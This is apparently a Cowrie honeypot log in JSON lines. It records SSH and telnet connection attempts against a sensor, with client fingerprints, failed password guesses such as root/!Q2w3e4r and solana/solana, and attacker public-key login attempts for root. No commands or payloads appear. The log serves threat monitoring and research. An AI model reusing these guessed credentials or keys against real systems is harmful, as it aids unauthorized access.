{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:49:34.460411Z","src_ip":"163.7.6.74","session":"fdc4ee8ca2cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"Password1","message":"login attempt [ftpuser/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:49:35.475458Z","src_ip":"163.7.6.74","session":"fdc4ee8ca2cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":35442,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3f17e559e89","protocol":"ssh","message":"New connection: 80.94.92.186:35442 (159.203.135.109:22) [session: f3f17e559e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:49:36.142527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:49:36.231397Z","src_ip":"80.94.92.186","session":"f3f17e559e89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:49:36.390573Z","src_ip":"80.94.92.186","session":"f3f17e559e89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:49:36.723937Z","src_ip":"163.7.6.74","session":"fdc4ee8ca2cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:49:37.006093Z","src_ip":"80.94.92.186","session":"f3f17e559e89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:49:38.203533Z","src_ip":"80.94.92.186","session":"f3f17e559e89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":50828,"dst_ip":"10.17.0.5","dst_port":23,"session":"804bb3da5ace","protocol":"telnet","message":"New connection: 212.55.149.117:50828 (10.17.0.5:23) [session: 804bb3da5ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:49:53.112817Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":45584,"dst_ip":"10.17.0.5","dst_port":22,"session":"183cf0f4b9c2","protocol":"ssh","message":"New connection: 103.15.226.202:45584 (10.17.0.5:22) [session: 183cf0f4b9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:49:59.981390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:49:59.985206Z","src_ip":"103.15.226.202","session":"183cf0f4b9c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:50:00.224941Z","src_ip":"103.15.226.202","session":"183cf0f4b9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:50:00.948614Z","src_ip":"103.15.226.202","session":"183cf0f4b9c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:50:02.193363Z","src_ip":"103.15.226.202","session":"183cf0f4b9c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":49733,"dst_ip":"10.17.0.5","dst_port":23,"session":"1586f6595c90","protocol":"telnet","message":"New connection: 212.55.149.117:49733 (10.17.0.5:23) [session: 1586f6595c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:50:30.594258Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":32860,"dst_ip":"159.203.135.109","dst_port":23,"session":"07bc041e2c4f","protocol":"telnet","message":"New connection: 69.6.249.0:32860 (159.203.135.109:23) [session: 07bc041e2c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:50:42.969467Z"}
{"eventid":"cowrie.session.closed","duration":31.211210012435913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:51:14.180542Z","src_ip":"69.6.249.0","session":"07bc041e2c4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01065826416016,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:51:53.123333Z","src_ip":"212.55.149.117","session":"804bb3da5ace","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":41773,"dst_ip":"10.17.0.5","dst_port":23,"session":"64160af2b271","protocol":"telnet","message":"New connection: 212.55.149.117:41773 (10.17.0.5:23) [session: 64160af2b271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:51:58.795342Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.92.193.123","src_port":37010,"dst_ip":"10.17.0.5","dst_port":23,"session":"da37351d1999","protocol":"telnet","message":"New connection: 208.92.193.123:37010 (10.17.0.5:23) [session: da37351d1999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:20.870198Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.232.189.67","src_port":53418,"dst_ip":"10.17.0.5","dst_port":23,"session":"97c6f1e06790","protocol":"telnet","message":"New connection: 36.232.189.67:53418 (10.17.0.5:23) [session: 97c6f1e06790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:25.879742Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.28.37.194","src_port":33382,"dst_ip":"10.17.0.5","dst_port":22,"session":"109ade27b2bd","protocol":"ssh","message":"New connection: 185.28.37.194:33382 (10.17.0.5:22) [session: 109ade27b2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:27.854305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:27.862825Z","src_ip":"185.28.37.194","session":"109ade27b2bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:27.947374Z","src_ip":"185.28.37.194","session":"109ade27b2bd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:32:da:38:74:3e:d1:7e:06:75:bc:6a:23:80:d4:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1OeqbvFBWkjx2U1PH1ZotA29tBV4sVu3aHbMrYscCBeBBVL8kd/5KTE1msiv4+bifJzFRHEnXZzrUnZLHoFrYZQga1VF6nXV7rE5ZFCMi7sS8gZOT8vx6gjjbTD1wkp9Jt/deUyABs4vARE1wmkRX5I2iwtGpN6XLjExuWligGviomy7Nueq3JJkzUn1V3MNO2I5ApVMRdHhLV7eme+SwWnNvUZYIyY1Po8AceXqtlMzU4mrN1z+ir/02dQ9kPkHo8PSlf9LoO/wzyhs+fbDA1JNvHcTMPoYtnaw4mGqz8xui9994Annx6M/2lPDB2dOAqbgFygZGie1KAX0bref1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:32:da:38:74:3e:d1:7e:06:75:bc:6a:23:80:d4:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:28.337685Z","src_ip":"185.28.37.194","session":"109ade27b2bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:32:da:38:74:3e:d1:7e:06:75:bc:6a:23:80:d4:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1OeqbvFBWkjx2U1PH1ZotA29tBV4sVu3aHbMrYscCBeBBVL8kd/5KTE1msiv4+bifJzFRHEnXZzrUnZLHoFrYZQga1VF6nXV7rE5ZFCMi7sS8gZOT8vx6gjjbTD1wkp9Jt/deUyABs4vARE1wmkRX5I2iwtGpN6XLjExuWligGviomy7Nueq3JJkzUn1V3MNO2I5ApVMRdHhLV7eme+SwWnNvUZYIyY1Po8AceXqtlMzU4mrN1z+ir/02dQ9kPkHo8PSlf9LoO/wzyhs+fbDA1JNvHcTMPoYtnaw4mGqz8xui9994Annx6M/2lPDB2dOAqbgFygZGie1KAX0bref1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:28.341058Z","src_ip":"185.28.37.194","session":"109ade27b2bd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:aa:78:84:2f:28:d9:02:37:64:06:53:ca:92:80:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAsrOYq0HBzWGLBHeragvR68WNlMB6G689qYUr3CAD6NnzhCSTh9bC2XTD3/fAt9eBQ/PPJ44ObRJeLx4RhCwwpm1XMP1uDOeYbQSb3pAehzK+nL0/KC7lbyb1ubVsWPnX8tkpeOblC+vXl+11i4LuEvNj5OVD/eX2rupJS/kuLLE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:aa:78:84:2f:28:d9:02:37:64:06:53:ca:92:80:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:28.422587Z","src_ip":"185.28.37.194","session":"109ade27b2bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:aa:78:84:2f:28:d9:02:37:64:06:53:ca:92:80:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAsrOYq0HBzWGLBHeragvR68WNlMB6G689qYUr3CAD6NnzhCSTh9bC2XTD3/fAt9eBQ/PPJ44ObRJeLx4RhCwwpm1XMP1uDOeYbQSb3pAehzK+nL0/KC7lbyb1ubVsWPnX8tkpeOblC+vXl+11i4LuEvNj5OVD/eX2rupJS/kuLLE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:28.425590Z","src_ip":"185.28.37.194","session":"109ade27b2bd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:76:85:f9:0b:1c:1e:27:89:2b:d5:be:e8:47:4a:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPrD/QhBi3PiTRgHrRs3/NWwi+aJSFh+5VWVFPyG68Rkdi4Q3O4dYD39rgTsLATOI6KbZ5xQnsiUpmOQGXcgJRMaxHdn1rFcDAvp0YB3y7oLj2zQwxV4OZA3GHkpkfO0K1YGGl27MW8xUG4XWQTL+wxD37N8YVnC0zL7K7/UmNbPYrgLJHWD2rodNPgTDT0v9Efn0u9VwcQZnV3siLzZH6bPyGQTXY92H+L7vNAHcZmvK8fjLhQm5i+HdTXNXBMNDs3wg3My7A5GtojugtHOGrScOGxTMfKIMRCRkNUAp+6pZo0gZi/+wc6uWHPDgHviGHykkHTrZ11C7GxQ8Z1TDV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:76:85:f9:0b:1c:1e:27:89:2b:d5:be:e8:47:4a:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:28.507274Z","src_ip":"185.28.37.194","session":"109ade27b2bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:76:85:f9:0b:1c:1e:27:89:2b:d5:be:e8:47:4a:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPrD/QhBi3PiTRgHrRs3/NWwi+aJSFh+5VWVFPyG68Rkdi4Q3O4dYD39rgTsLATOI6KbZ5xQnsiUpmOQGXcgJRMaxHdn1rFcDAvp0YB3y7oLj2zQwxV4OZA3GHkpkfO0K1YGGl27MW8xUG4XWQTL+wxD37N8YVnC0zL7K7/UmNbPYrgLJHWD2rodNPgTDT0v9Efn0u9VwcQZnV3siLzZH6bPyGQTXY92H+L7vNAHcZmvK8fjLhQm5i+HdTXNXBMNDs3wg3My7A5GtojugtHOGrScOGxTMfKIMRCRkNUAp+6pZo0gZi/+wc6uWHPDgHviGHykkHTrZ11C7GxQ8Z1TDV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:28.510240Z","src_ip":"185.28.37.194","session":"109ade27b2bd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:6b:f3:7e:64:6c:0d:23:9d:6b:88:2c:dd:06:50:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo8VbytYcB4fMctor2Df7kCmM24NSEVG5fjsJmbvgh8cDEbfkQOSRDvtg6NU9x04ftXIreqBQApL23DtRf4G1gTB6QcNH2gQ+SIIr5+SLnzvRk1jCY/IVFbFqr57GGMsOlppneNWsXolJBJ1bcq0irs8MgI5VBY4Gf0uGwBijdYRRvJ8Izp16QoYM0OuxCTziVm0F1z3D3aVlEhnOI9dx57iz6eoLfGVtyveTYyu4xN9TVDMWenAWswJrYqOl/3Wa6t05ycO4Ia837Hs1MlXsNd5d4b6nUvGqSDXcXfcc3SFA9HQcBUpnvRZ2T8sv/bThxSPu6YidKqCtyT2pAnrrT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:6b:f3:7e:64:6c:0d:23:9d:6b:88:2c:dd:06:50:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:28.593576Z","src_ip":"185.28.37.194","session":"109ade27b2bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:6b:f3:7e:64:6c:0d:23:9d:6b:88:2c:dd:06:50:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo8VbytYcB4fMctor2Df7kCmM24NSEVG5fjsJmbvgh8cDEbfkQOSRDvtg6NU9x04ftXIreqBQApL23DtRf4G1gTB6QcNH2gQ+SIIr5+SLnzvRk1jCY/IVFbFqr57GGMsOlppneNWsXolJBJ1bcq0irs8MgI5VBY4Gf0uGwBijdYRRvJ8Izp16QoYM0OuxCTziVm0F1z3D3aVlEhnOI9dx57iz6eoLfGVtyveTYyu4xN9TVDMWenAWswJrYqOl/3Wa6t05ycO4Ia837Hs1MlXsNd5d4b6nUvGqSDXcXfcc3SFA9HQcBUpnvRZ2T8sv/bThxSPu6YidKqCtyT2pAnrrT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:28.597042Z","src_ip":"185.28.37.194","session":"109ade27b2bd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:87:75:b0:bb:3b:ad:25:bf:a3:33:ca:04:6c:8b:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRWekSJJj89HsMR9tEiTuytrNRVR2PPuVcSdsEf2UQ50kQyaQRibdHjUi07fQ9IawTXZqBiX7/vPghL93OYlhseE6+uluROg+F45ILA6GaNtxmcUs99HZ2CUr9nVPxJ8mhsm7T8NIuTP2UiJICRSwF+EQc1zYc+lZWUk0MBnqzMTujBb+AIbNUZDopKjrE5j0ypaPjLJRaIoGwHCRjCbjpobiQkeeWel1qz2r3k11QQygSdGgLXJr0LNiECnflNp6lewsNqs9vIwVijmDxMtzfpmIkg/hc8id7K2f1o6ABlN21p2ITwtQYvhok67TAzR5M08CfZmZm6YGW1aGLgNlh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:87:75:b0:bb:3b:ad:25:bf:a3:33:ca:04:6c:8b:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:28.679338Z","src_ip":"185.28.37.194","session":"109ade27b2bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:87:75:b0:bb:3b:ad:25:bf:a3:33:ca:04:6c:8b:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRWekSJJj89HsMR9tEiTuytrNRVR2PPuVcSdsEf2UQ50kQyaQRibdHjUi07fQ9IawTXZqBiX7/vPghL93OYlhseE6+uluROg+F45ILA6GaNtxmcUs99HZ2CUr9nVPxJ8mhsm7T8NIuTP2UiJICRSwF+EQc1zYc+lZWUk0MBnqzMTujBb+AIbNUZDopKjrE5j0ypaPjLJRaIoGwHCRjCbjpobiQkeeWel1qz2r3k11QQygSdGgLXJr0LNiECnflNp6lewsNqs9vIwVijmDxMtzfpmIkg/hc8id7K2f1o6ABlN21p2ITwtQYvhok67TAzR5M08CfZmZm6YGW1aGLgNlh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:28.682199Z","src_ip":"185.28.37.194","session":"109ade27b2bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:28.764565Z","src_ip":"185.28.37.194","session":"109ade27b2bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00277185440063,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:30.596888Z","src_ip":"212.55.149.117","session":"1586f6595c90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.415404796600342,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:40.294996Z","src_ip":"36.232.189.67","session":"97c6f1e06790","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.222.110","src_port":41744,"dst_ip":"10.17.0.5","dst_port":22,"session":"043697a8a651","protocol":"ssh","message":"New connection: 31.41.222.110:41744 (10.17.0.5:22) [session: 043697a8a651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:40.900105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:52:40.904528Z","src_ip":"31.41.222.110","session":"043697a8a651","protocol":"ssh"}
